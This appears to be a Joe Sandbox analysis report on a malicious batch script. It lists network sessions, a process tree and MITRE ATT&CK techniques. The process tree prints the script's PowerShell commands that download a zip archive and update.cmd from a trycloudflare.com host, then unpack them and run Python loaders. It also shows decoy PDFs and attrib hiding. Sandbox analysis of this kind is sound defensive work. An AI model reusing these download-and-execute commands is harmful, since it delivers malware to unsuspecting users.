2024-10-26 11:46:18 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 65 64 69 61 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 65 64 69 61 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702650" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Media" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMedia" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.9	49865	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:18 UTC	192	OUT	GET /rules/rule703101v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:19 UTC	591	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:18 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE0F93037" x-ms-request-id: d67ec764-101e-0017-6eff-2547c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114618Z-r197bdfb6b4b4pw6nr8czsrctg00000002ng0000000039rx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-10-26 11:46:19 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 31 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 41 54 53 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 41 54 53 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703101" V="1" DC="SM" EN="Office.Telemetry.Event.Office.MATS.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMATS"

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.9	49866	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:18 UTC	192	OUT	GET /rules/rule703100v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:20 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:19 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:04 GMT ETag: "0x8DC582BEBCD5699" x-ms-request-id: 3351e9c9-c01e-0014-2df2-24a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114619Z-15b8d89586f8l5961kfst8fpb00000000cfg000000002t20 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:20 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 31 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 41 54 53 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 41 54 53 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703100" V="1" DC="SM" EN="Office.Telemetry.Event.Office.MATS" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMATS" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.9	49867	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:20 UTC	192	OUT	GET /rules/rule702901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:20 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:20 GMT Content-Type: text/xml Content-Length: 1411 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE53FACDA" x-ms-request-id: 34520184-001e-0065-3fdf-250b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114620Z-16849878b78p8hrf1se7fucxk800000002r000000000h6pk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:20 UTC	1411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 61 6e 61 67 65 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Manageability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantT

Target ID:	1
Start time:	07:45:50
Start date:	26/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\ZtefPP1HI7.cmd" "
Imagebase:	0x7ff732190000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	07:45:50
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:45:51
Start date:	26/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://spectrum-exactly-knitting-rural.trycloudflare.com/policy.pdf
Imagebase:	0x7ff6b2cb0000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	07:45:51
Start date:	26/10/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
Imagebase:	0x7ff725400000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	07:45:51
Start date:	26/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://spectrum-exactly-knitting-rural.trycloudflare.com/jnk8ai.zip' -OutFile 'C:\Users\user\Downloads\jnk8ai.zip' }"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	07:45:52
Start date:	26/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	07:45:52
Start date:	26/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2584 --field-trial-handle=2392,i,6131583627039465295,1302718975251909702,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6b2cb0000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	07:45:59
Start date:	26/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\jnk8ai.zip' -DesusertionPath 'C:\Users\user\Downloads' -Force }"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	07:46:01
Start date:	26/10/2024
Path:	C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe
Wow64 process (32bit):	false
Commandline:	python.exe hey.py
Imagebase:	0x7ff7860d0000
File size:	207'872 bytes
MD5 hash:	5E1055E69FF01930C62388625726A90E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	07:46:02
Start date:	26/10/2024
Path:	C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe
Wow64 process (32bit):	false
Commandline:	python.exe loader.py
Imagebase:	0x7ff7860d0000
File size:	207'872 bytes
MD5 hash:	5E1055E69FF01930C62388625726A90E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	07:46:02
Start date:	26/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://spectrum-exactly-knitting-rural.trycloudflare.com/a.pdf
Imagebase:	0x7ff6b2cb0000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	07:46:02
Start date:	26/10/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
Imagebase:	0x7ff725400000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	07:46:02
Start date:	26/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://spectrum-exactly-knitting-rural.trycloudflare.com/update.cmd' -OutFile 'C:\Users\user\Downloads\update.cmd' }"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	07:46:02
Start date:	26/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=1980,i,15215304549136021077,16069531539284027564,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6b2cb0000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	07:46:12
Start date:	26/10/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +h "C:\Users\user\Downloads\Python"
Imagebase:	0x7ff6c7400000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 00007FF879353B10 Relevance: 3.1, Strings: 2, Instructions: 568COMMON

Download Yara Rule

Strings

qSy, xrefs: 00007FF879353CE6
XvSy, xrefs: 00007FF879353F08

Memory Dump Source

Source File: 00000006.00000002.1431448485.00007FF879350000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF879350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff879350000_powershell.jbxd

Similarity

API ID:
String ID: XvSy$qSy
API String ID: 0-3867080552
Opcode ID: 9ad36d528ccdf26c39a81515fae004fdf31fd2cfed2c2acd0fd3268e707b70ad
Instruction ID: 21118683a0e35e1deff393c667ed78d4a1cbd8fca66262ca2b9d3cb3cc90d27b
Opcode Fuzzy Hash: 9ad36d528ccdf26c39a81515fae004fdf31fd2cfed2c2acd0fd3268e707b70ad
Instruction Fuzzy Hash: 0002E732A1C9CB8FEB45DF2CD895AE97BE1FF59350F14417AD408D7196CE29A882C780

Function 00007FF879422C55 Relevance: .4, Instructions: 443COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1431752947.00007FF879420000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF879420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff879420000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d32c173b4f4be06832819a840376881c310fed60b305aba3711a91f8e728fca
Instruction ID: 15f709c9cd1dd33ab20c90015f00b43af03592e2d3a12e1a0d9d8c95805f106c
Opcode Fuzzy Hash: 9d32c173b4f4be06832819a840376881c310fed60b305aba3711a91f8e728fca
Instruction Fuzzy Hash: 22D12933D2DACA0FE7AAAB2958552B97BA1FF16350B1801FFD04DCB1D3D918A885C351

Function 00007FF879353705 Relevance: .2, Instructions: 214COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1431448485.00007FF879350000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF879350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff879350000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21b39a59938692fd6ec880c9f5a2298c4cf5afc291c8f71fd0c84ac4c00519f7
Instruction ID: 26e392c5b81937dfbf49cf5c1ffcf5ecbfeb1f379277ff89f193aa7ae722d8b8
Opcode Fuzzy Hash: 21b39a59938692fd6ec880c9f5a2298c4cf5afc291c8f71fd0c84ac4c00519f7
Instruction Fuzzy Hash: 3B61F732A1D7C68FD30ADB2898A19E57FB0EF56354B1901FFC089C71A3D929A84AC751

Function 00007FF87935374C Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1431448485.00007FF879350000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF879350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff879350000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4159e73de5de633aca8559973ed999f4a5f32152fc2e1bb1aa4062ef7b24f96
Instruction ID: b344c9433bb30b5d6d9eced0bf719bf75ce4fb3a5355ce6b4776c19853b57b27
Opcode Fuzzy Hash: f4159e73de5de633aca8559973ed999f4a5f32152fc2e1bb1aa4062ef7b24f96
Instruction Fuzzy Hash: 4D31E771A1CA4A9FE748EE1CC491A7577E1FF99314B10017DD48AC3666EA3AFC82C781

Function 00007FF879353605 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1431448485.00007FF879350000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF879350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff879350000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 320d65ac7b76985375b256e462a17e2a9eaf06c2f1413bce7d374cf37cda1b30
Instruction ID: de656e4c2e3da3e9123707e747f50171d4e38001657a6dadd1c4ea9c1689adb0
Opcode Fuzzy Hash: 320d65ac7b76985375b256e462a17e2a9eaf06c2f1413bce7d374cf37cda1b30
Instruction Fuzzy Hash: 5F01A77111CB0C8FD748EF0CE051AA9B3E0FB89361F10052EE58AC3651D736E881CB45

Function 00007FF879355993 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1431448485.00007FF879350000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF879350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff879350000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12dc21c7b929cbe4acfc45ecd1f954279c9a55ecc4352e57cb6a9d7494379c3f
Instruction ID: db64d037fb3cc048ff93b44e6dc633ea1a0fc5c49d443ded423560688e16d237
Opcode Fuzzy Hash: 12dc21c7b929cbe4acfc45ecd1f954279c9a55ecc4352e57cb6a9d7494379c3f
Instruction Fuzzy Hash: 6CF0A73130C90C0BA70CA55CB8465F873C1DB95361B10427FF40AC2257DC16A88342C9

Function 00007FF879353848 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1431448485.00007FF879350000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF879350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff879350000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59e4871fdf636bcb4f1c196581c42452b61789e1af8a4b32ad3963e19e5cbcaa
Instruction ID: 30727e07b8d64ebe0e17e2e6dc6389baf7a690258c6706721cb478e3c1d3c7c3
Opcode Fuzzy Hash: 59e4871fdf636bcb4f1c196581c42452b61789e1af8a4b32ad3963e19e5cbcaa
Instruction Fuzzy Hash: B6F0303272C6058FDB4CEA1CF4429B973D1EB99320B10016EE48BC2296D92AE8868685

Analysis Process: powershell.exePID: 3236, Parent PID: 7288COMMON

Executed Functions

Function 00007FF879343ACF Relevance: 3.1, Strings: 2, Instructions: 580COMMON

Download Yara Rule

Strings

(uRy, xrefs: 00007FF879343EF8
eZ_H, xrefs: 00007FF879343CE0

Memory Dump Source

Source File: 0000000E.00000002.1560830627.00007FF879340000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF879340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff879340000_powershell.jbxd

Similarity

API ID:
String ID: (uRy$eZ_H
API String ID: 0-3208749788
Opcode ID: 4076df362f2ff41e7106eb4210a01d5c9ce77f0189a6e427c995a40a398d4d92
Instruction ID: 27b69f7c9b5c273e58418b62393dd9d3a3ba0613c196a266a09ad5f2df507ab7
Opcode Fuzzy Hash: 4076df362f2ff41e7106eb4210a01d5c9ce77f0189a6e427c995a40a398d4d92
Instruction Fuzzy Hash: BC12E532A1CA8B8FEB45DF1CC895BF97BE1FF65394F054176D409C71A2DE29A8818780

Function 00007FF8793458CC Relevance: 3.0, Strings: 2, Instructions: 498COMMON

Download Yara Rule

Strings

cWy, xrefs: 00007FF879345A42
8hWy, xrefs: 00007FF879345C38

Memory Dump Source

Source File: 0000000E.00000002.1560830627.00007FF879340000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF879340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff879340000_powershell.jbxd

Similarity

API ID:
String ID: 8hWy$cWy
API String ID: 0-2851025693
Opcode ID: dbc84126cc980dcd5aa1cf62f10f79de3d4dc61686fc5947d5b1b15938e4596c
Instruction ID: 8cae81b3899dbdfd64a5890aca7ae63142b82cab1c4117341cce74dde5621c63
Opcode Fuzzy Hash: dbc84126cc980dcd5aa1cf62f10f79de3d4dc61686fc5947d5b1b15938e4596c
Instruction Fuzzy Hash: 6AE1C231E18A8E8FDF88DF5CC445AB977E1FF69340F15416AD409D72A6CA24EC82CB81

Function 00007FF879412C55 Relevance: .4, Instructions: 440COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1561362623.00007FF879410000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF879410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff879410000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eca7154159cce9ea5ea148c4c4221be1ab45ba33004e4728738bac065688a608
Instruction ID: 732b51aaf8ee28486923f1e9ab2887bcee793a4f693963ce2ed4ce97b3fd92df
Opcode Fuzzy Hash: eca7154159cce9ea5ea148c4c4221be1ab45ba33004e4728738bac065688a608
Instruction Fuzzy Hash: 65D13732D6DACA8FE795AB2988152B97BA1FF16390F1801FFC04DC71D3EA18A845C341

Function 00007FF8793435F5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1560830627.00007FF879340000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF879340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff879340000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80831bfa646074354a18e3d945a9c2be3c35824090c8577bf595aa9376d5200d
Instruction ID: 18f2f9df70a5f0c81e41e0a07adacf27d0350ade945f8d6b4dd578cc43aa8083
Opcode Fuzzy Hash: 80831bfa646074354a18e3d945a9c2be3c35824090c8577bf595aa9376d5200d
Instruction Fuzzy Hash: 1301847111CB094FD748EF0CE051AA5B7E0FB85360F10052EE58AC3661D736E881CB45

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

